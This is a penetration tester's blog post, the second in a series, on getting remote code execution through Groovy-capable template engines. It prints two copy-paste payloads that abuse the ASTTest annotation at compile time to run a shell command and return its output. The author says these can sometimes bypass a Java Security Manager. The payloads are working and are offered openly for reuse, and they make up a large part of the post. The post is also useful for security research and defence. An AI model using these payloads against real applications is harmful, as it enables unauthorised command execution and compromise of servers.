Groovy Template Engine Exploitation – Notes from a real case scenario, part 2

November 11, 2025|Gianluca BaldiBy Gianluca Baldi

In the first days of this 2025, I came across a new Groovy-capable templating engine in a client’s web application. Since I was already experienced with this kind of RCE as a feature, bypassing input validation was pretty straightforward (check my first article on this if you missed it).

However, the last time I exploited this I had to collect the output of my commands using DNS as a side channel (ugly experience, if you ask me). This time, I decided to spend more time digging into the madness of the “@groovy.transform.ASTTest annotation to craft a payload where the output would be returned directly in the Groovy script’s standard output.

After some hours of swearing with a couple of colleagues (not to mention AI’s assistance), we got the job done! ChampagneChampagneChampagne

So here’s the no-brainer-copy-paste payload that we all crave:

import groovy.transform.* 
import org.codehaus.groovy.ast.* 
import org.codehaus.groovy.ast.expr.* 
import org.codehaus.groovy.ast.stmt.* 
import org.codehaus.groovy.control.CompilePhase

@groovy.transform.ASTTest(phase = SEMANTIC_ANALYSIS, value={

cmd = 'ls'
String out = cmd.execute().text
node.rightExpression = new ConstantExpression(out)    
})
def x = 42 

return x

The “trick” that allowed us to execute commands is the new ConstantExpression() that basically replaces “42” with the result of our command before the actual execution of the script code (since “@groovy.transform.ASTTest is executed during the SEMANTIC_ANALYSIS of the script).

Another variant to achieve the same goal is the following, where we replace the code of a method with another using AstBuilder().buildFromString():

import groovy.transform.ASTTest
import org.codehaus.groovy.ast.builder.AstBuilder
import org.codehaus.groovy.control.CompilePhase

@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
    
    def newBlock = new AstBuilder().buildFromString(CompilePhase.SEMANTIC_ANALYSIS, false, '''
         cmd = 'ls'
         String out = cmd.execute().text
         return out
    ''')
    
    node.code = newBlock[0]
})
def runCommand() {
    return "42"
}

println runCommand()

These techniques are particularly interesting since sometimes they allow the execution of system commands even with a configured Java Security Manager.

If you are interested in digging deeper into this topic, here’s a bunch of useful resources for you:

Enjoy!